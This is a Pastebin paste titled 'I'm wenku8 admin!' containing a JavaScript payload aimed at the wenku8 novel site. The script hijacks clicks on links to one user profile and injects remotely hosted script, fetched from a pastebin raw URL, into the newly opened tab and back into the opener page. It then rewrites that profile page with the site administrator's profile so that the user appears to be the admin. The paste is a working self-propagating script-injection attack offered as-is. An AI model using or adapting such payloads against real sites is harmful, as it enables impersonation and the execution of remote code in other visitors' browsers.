Advertisement
PY-DNG

I'm wenku8 admin!

Jun 19th, 2025 (edited)
340
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 4.34 KB | Source Code | 0 0
  1. (function __MAIN__() {
  2.     const targetPage1 = 'https://www.wenku8.net/userinfo.php?id=917768';
  3.     const targetPage2 = 'https://www.wenku8.cc/userinfo.php?id=917768';
  4.     const scriptId = 'pretend_admin';
  5.     const imgId = 'pretend_admin_img';
  6.     //const scriptLink = 'https://greasyfork.org/scripts/428403/code/script.js';
  7.     const scriptLink = 'https://pastebin.com/raw/EcHyuzuh';
  8.     const scriptSource = __MAIN__.toString();
  9.     main();
  10.  
  11.     function main() {
  12.         $('#' + imgId)?.remove();
  13.  
  14.         switch(location.href) {
  15.             case 'about:blank': {
  16.                 console.log('Wenku8 admin: Injecting to opener...');
  17.                 // Opened page: Inject to opener
  18.                 const oDoc = window.opener.document;
  19.                 const script = $(oDoc, scriptId);
  20.                 loadJS(script.src, null, null, oDoc);
  21.                 break;
  22.             }
  23.             case targetPage1:
  24.             case targetPage2: {
  25.                 // Just this page
  26.                 console.log('Wenku8 admin: Editing page...');
  27.                 getDocument('https://www.wenku8.net/userinfo.php?id=2', function (oDoc) {
  28.                     const content = $(document, '#content');
  29.                     const oContent = $(oDoc, '#content');
  30.                     content.innerHTML = oContent.innerHTML;
  31.                 });
  32.                 break;
  33.             }
  34.             default: {
  35.                 // Opener page: Make all opener links magical
  36.                 if (window.magical) { return false; }
  37.                 console.log('Wenku8 admin: Doing magic...');
  38.                 window.magical = true;
  39.                 const as = Array.from(document.querySelectorAll('a[href*="/userinfo.php?id=917768"]'))
  40.                     .filter(a => a.pathname === '/userinfo.php' && new URLSearchParams(a.search).get('id') === '917768');
  41.                 as.forEach(a => {
  42.                     a.addEventListener('click', function (e) {
  43.                         destroyEvent(e);
  44.                         const newtab = window.open(a.href);
  45.                         const oWin = newtab.window;
  46.                         oWin.addEventListener('load', function(e) {
  47.                             const dom = oWin.document;
  48.                             loadJS(scriptLink, null, err => {
  49.                                 const script = dom.createElement('script');
  50.                                 script.innerHTML = `(${scriptSource}) ();`;
  51.                                 dom.head.appendChild(script);
  52.                             }, dom);
  53.                         });
  54.                     });
  55.                 });
  56.             }
  57.         }
  58.         return true;
  59.     }
  60.  
  61.     // Load javascript from given url
  62.     function loadJS(url, onload, onerror, oDoc = document) {
  63.         onload = onload ?? function() {};
  64.         onload = onload ?? function() {};
  65.         var script = document.createElement('script');
  66.         script.type = 'text/javascript';
  67.         script.addEventListener('load', onload)
  68.         script.addEventListener('error', onerror);
  69.         script.src = url;
  70.         oDoc.head.append(script);
  71.     }
  72.  
  73.     // Download and parse a url page into a html document(dom).
  74.     // when xhr onload: callback.apply([dom, args])
  75.     function getDocument(url, callback, args = []) {
  76.         const xhr = new XMLHttpRequest();
  77.         xhr.open('GET', url, true);
  78.         xhr.responseType = 'blob';
  79.         xhr.onload = function (response) {
  80.             const htmlblob = xhr.response;
  81.             const reader = new FileReader();
  82.             reader.onload = function (e) {
  83.                 const htmlText = reader.result;
  84.                 const dom = new DOMParser().parseFromString(htmlText, 'text/html');
  85.                 args = [dom].concat(args);
  86.                 callback.apply(null, args);
  87.                 //callback(dom, htmlText);
  88.             }
  89.             reader.readAsText(htmlblob, 'GBK');
  90.         }
  91.         xhr.send();
  92.     }
  93.  
  94.     // Just stopPropagation and preventDefault
  95.     function destroyEvent(e) {
  96.         if (!e) {return false;};
  97.         if (!e instanceof Event) {return false;};
  98.         e.stopPropagation();
  99.         e.preventDefault();
  100.     }
  101.  
  102.     function $() {
  103.         if (arguments.length === 1) {
  104.             return document.querySelector(...arguments);
  105.         } else {
  106.             return arguments[0].querySelector(arguments[1]);
  107.         }
  108.     }
  109. }) ();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement